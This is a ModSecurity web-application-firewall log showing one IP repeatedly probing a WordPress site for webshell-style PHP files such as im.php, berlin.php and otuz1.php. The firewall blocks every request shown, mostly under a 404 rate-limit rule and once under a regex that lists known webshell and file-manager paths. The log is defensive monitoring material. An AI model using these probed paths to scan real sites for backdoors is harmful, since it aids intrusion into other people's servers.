[Sun Mar 01 17:03:03.740631 2026] [:error] [pid 7133:tid 7152] [client 20.104.206.150:23905] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaQAx_Ctubh8pR64qB_gNQAAAFE"]
[Sun Mar 01 17:03:04.207238 2026] [:error] [pid 7165:tid 7168] [client 20.104.206.150:62406] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaQAyBRjCrA8qWBjgG9kjAAAAkE"]
[Sun Mar 01 17:03:04.690367 2026] [:error] [pid 7165:tid 7174] [client 20.104.206.150:54631] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaQAyBRjCrA8qWBjgG9kjwAAAkc"]
[Sun Mar 01 17:03:05.137190 2026] [:error] [pid 7165:tid 7190] [client 20.104.206.150:23695] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file.phpa"] [unique_id "aaQAyRRjCrA8qWBjgG9klgAAAlc"]
[Sun Mar 01 17:03:05.570305 2026] [:error] [pid 7165:tid 7176] [client 20.104.206.150:23903] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaQAyRRjCrA8qWBjgG9kmQAAAkk"]
[Sun Mar 01 17:03:06.050873 2026] [:error] [pid 7165:tid 7173] [client 20.104.206.150:23927] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaQAyhRjCrA8qWBjgG9koQAAAkY"]
[Sun Mar 01 17:03:06.712879 2026] [:error] [pid 40750:tid 40770] [client 20.104.206.150:24121] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaQAygfBuk03yQKDyqsHmAAAAdE"]
[Sun Mar 01 17:03:07.274061 2026] [:error] [pid 41342:tid 41356] [client 20.104.206.150:24071] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/defaults.php"] [unique_id "aaQAy44iJ6RAS5CatDlP9AAAAgs"]
[Sun Mar 01 17:03:07.804716 2026] [:error] [pid 40750:tid 40757] [client 20.104.206.150:62402] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaQAywfBuk03yQKDyqsHogAAAcQ"]
[Sun Mar 01 17:03:08.246112 2026] [:error] [pid 40750:tid 40755] [client 20.104.206.150:62429] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaQAzAfBuk03yQKDyqsHqAAAAcI"]
[Sun Mar 01 17:03:08.700986 2026] [:error] [pid 40750:tid 40777] [client 20.104.206.150:62359] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaQAzAfBuk03yQKDyqsHqQAAAdg"]
[Sun Mar 01 17:03:09.129873 2026] [:error] [pid 40750:tid 40762] [client 20.104.206.150:54615] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/im.php"] [unique_id "aaQAzQfBuk03yQKDyqsHrwAAAck"]
[Sun Mar 01 17:03:09.609266 2026] [:error] [pid 7165:tid 7188] [client 20.104.206.150:24107] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaQAzRRjCrA8qWBjgG9kqQAAAlU"]
[Sun Mar 01 17:03:10.069845 2026] [:error] [pid 7165:tid 7177] [client 20.104.206.150:24068] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaQAzhRjCrA8qWBjgG9krQAAAko"]
[Sun Mar 01 17:03:10.525984 2026] [:error] [pid 40750:tid 40755] [client 20.104.206.150:24071] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaQAzgfBuk03yQKDyqsHtQAAAcI"]
[Sun Mar 01 17:03:11.024583 2026] [:error] [pid 40750:tid 40768] [client 20.104.206.150:23884] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-comments-post.php"] [unique_id "aaQAzwfBuk03yQKDyqsHuQAAAc8"]
[Sun Mar 01 17:03:11.520516 2026] [:error] [pid 40750:tid 40774] [client 20.104.206.150:62414] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaQAzwfBuk03yQKDyqsHvwAAAdU"]
[Sun Mar 01 17:03:11.939465 2026] [:error] [pid 40750:tid 40755] [client 20.104.206.150:57211] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaQAzwfBuk03yQKDyqsHxAAAAcI"]
[Sun Mar 01 17:03:12.386825 2026] [:error] [pid 40750:tid 40758] [client 20.104.206.150:23698] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaQA0AfBuk03yQKDyqsHywAAAcU"]
[Sun Mar 01 17:03:12.943584 2026] [:error] [pid 40750:tid 40755] [client 20.104.206.150:23883] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache-compat.php"] [unique_id "aaQA0AfBuk03yQKDyqsH0gAAAcI"]
[Sun Mar 01 17:03:13.613404 2026] [:error] [pid 40750:tid 40757] [client 20.104.206.150:23684] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaQA0QfBuk03yQKDyqsH1gAAAcQ"]
[Sun Mar 01 17:03:14.739093 2026] [:error] [pid 7165:tid 7167] [client 20.104.206.150:62436] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaQA0hRjCrA8qWBjgG9kwAAAAkA"]
[Sun Mar 01 17:03:15.778992 2026] [:error] [pid 7165:tid 7179] [client 20.104.206.150:62457] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaQA0xRjCrA8qWBjgG9kyAAAAkw"]
[Sun Mar 01 17:03:16.239213 2026] [:error] [pid 41780:tid 41799] [client 20.104.206.150:57159] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fw.php"] [unique_id "aaQA1MONkVoocLIqzy0YRgAAA9A"]
[Sun Mar 01 17:03:16.964913 2026] [:error] [pid 40750:tid 40767] [client 20.104.206.150:24078] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaQA1AfBuk03yQKDyqsH7AAAAc4"]
[Sun Mar 01 17:03:17.447477 2026] [:error] [pid 40750:tid 40771] [client 20.104.206.150:54612] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaQA1QfBuk03yQKDyqsH8QAAAdI"]
[Sun Mar 01 17:03:17.925373 2026] [:error] [pid 40750:tid 40764] [client 20.104.206.150:24112] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaQA1QfBuk03yQKDyqsH9AAAAcs"]
[Sun Mar 01 17:03:18.398730 2026] [:error] [pid 40750:tid 40753] [client 20.104.206.150:62384] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/berlin.php"] [unique_id "aaQA1gfBuk03yQKDyqsH-QAAAcA"]
[Sun Mar 01 17:03:18.912085 2026] [:error] [pid 40750:tid 40762] [client 20.104.206.150:23873] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaQA1gfBuk03yQKDyqsH_QAAAck"]
[Sun Mar 01 17:03:19.475492 2026] [:error] [pid 40750:tid 40777] [client 20.104.206.150:23919] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaQA1wfBuk03yQKDyqsIAQAAAdg"]
[Sun Mar 01 17:03:19.913463 2026] [:error] [pid 7165:tid 7184] [client 20.104.206.150:62453] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaQA1xRjCrA8qWBjgG9k4AAAAlE"]
[Sun Mar 01 17:03:20.488803 2026] [:error] [pid 7165:tid 7185] [client 20.104.206.150:47749] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abe.php"] [unique_id "aaQA2BRjCrA8qWBjgG9k5wAAAlI"]
[Sun Mar 01 17:03:21.286421 2026] [:error] [pid 7165:tid 7175] [client 20.104.206.150:24098] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaQA2RRjCrA8qWBjgG9k6wAAAkg"]
[Sun Mar 01 17:03:21.976272 2026] [:error] [pid 7133:tid 7148] [client 20.104.206.150:24105] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaQA2fCtubh8pR64qB_gSQAAAE0"]
[Sun Mar 01 17:03:22.755815 2026] [:error] [pid 40750:tid 40777] [client 20.104.206.150:47765] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaQA2gfBuk03yQKDyqsIDgAAAdg"]
[Sun Mar 01 17:03:23.348963 2026] [:error] [pid 7165:tid 7180] [client 20.104.206.150:47784] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/otuz1.php"] [unique_id "aaQA2xRjCrA8qWBjgG9lAAAAAk0"]
[Sun Mar 01 17:03:23.955975 2026] [:error] [pid 33822:tid 33831] [client 20.104.206.150:23909] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaQA226W3ygu1YVssubZagAAAoc"]
[Sun Mar 01 17:03:24.697299 2026] [:error] [pid 40750:tid 40775] [client 20.104.206.150:47752] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaQA3AfBuk03yQKDyqsIGgAAAdY"]
[Sun Mar 01 17:03:25.285572 2026] [:error] [pid 44644:tid 44658] [client 20.104.206.150:23691] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaQA3Z3RJaXMcw3y9V_B-gAAAAs"]
[Sun Mar 01 17:03:26.175566 2026] [:error] [pid 38241:tid 38267] [client 20.104.206.150:45433] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-files.php"] [unique_id "aaQA3vKRPk6YnJBxw_yGKwAAANc"]
[Sun Mar 01 17:03:26.653812 2026] [:error] [pid 40750:tid 40756] [client 20.104.206.150:24127] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaQA3gfBuk03yQKDyqsIKgAAAcM"]
[Sun Mar 01 17:03:27.650929 2026] [:error] [pid 40750:tid 40777] [client 20.104.206.150:24367] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaQA3wfBuk03yQKDyqsIMAAAAdg"]
[Sun Mar 01 17:03:28.254280 2026] [:error] [pid 7165:tid 7178] [client 20.104.206.150:45394] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaQA4BRjCrA8qWBjgG9lFgAAAks"]
[Sun Mar 01 17:03:28.858955 2026] [:error] [pid 40750:tid 40754] [client 20.104.206.150:24357] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aj.php"] [unique_id "aaQA4AfBuk03yQKDyqsIOQAAAcE"]
[Sun Mar 01 17:03:29.475424 2026] [:error] [pid 7133:tid 7147] [client 20.104.206.150:45425] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaQA4fCtubh8pR64qB_gVAAAAEw"]
[Sun Mar 01 17:03:30.187895 2026] [:error] [pid 40750:tid 40769] [client 20.104.206.150:45362] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaQA4gfBuk03yQKDyqsIRwAAAdA"]
[Sun Mar 01 17:03:30.865792 2026] [:error] [pid 40750:tid 40775] [client 20.104.206.150:23914] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaQA4gfBuk03yQKDyqsISwAAAdY"]
[Sun Mar 01 17:03:31.680235 2026] [:error] [pid 40750:tid 40759] [client 20.104.206.150:47748] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/he.php"] [unique_id "aaQA4wfBuk03yQKDyqsIUQAAAcY"]
[Sun Mar 01 17:03:32.167459 2026] [:error] [pid 38241:tid 38245] [client 20.104.206.150:45395] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaQA5PKRPk6YnJBxw_yGQgAAAME"]
[Sun Mar 01 17:03:33.066980 2026] [:error] [pid 7165:tid 7178] [client 20.104.206.150:24355] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaQA5RRjCrA8qWBjgG9lKAAAAks"]
[Sun Mar 01 17:03:34.003504 2026] [:error] [pid 7165:tid 7190] [client 20.104.206.150:45327] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaQA5hRjCrA8qWBjgG9lNwAAAlc"]
[Sun Mar 01 17:03:34.683079 2026] [:error] [pid 40750:tid 40768] [client 20.104.206.150:45326] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cache.php"] [unique_id "aaQA5gfBuk03yQKDyqsIYgAAAc8"]
[Sun Mar 01 17:03:35.398261 2026] [:error] [pid 40750:tid 40756] [client 20.104.206.150:62422] [client 20.104.206.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/tiny.php"] [unique_id "aaQA5wfBuk03yQKDyqsIawAAAcM"]
[Sun Mar 01 17:03:36.000223 2026] [:error] [pid 33822:tid 33842] [client 20.104.206.150:24350] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaQA526W3ygu1YVssubZcAAAApI"]
[Sun Mar 01 17:03:36.476042 2026] [:error] [pid 7165:tid 7167] [client 20.104.206.150:24375] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaQA6BRjCrA8qWBjgG9lQwAAAkA"]
[Sun Mar 01 17:03:36.967634 2026] [:error] [pid 33822:tid 33829] [client 20.104.206.150:45347] [client 20.104.206.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-load.php"] [unique_id "aaQA6G6W3ygu1YVssubZcwAAAoU"]
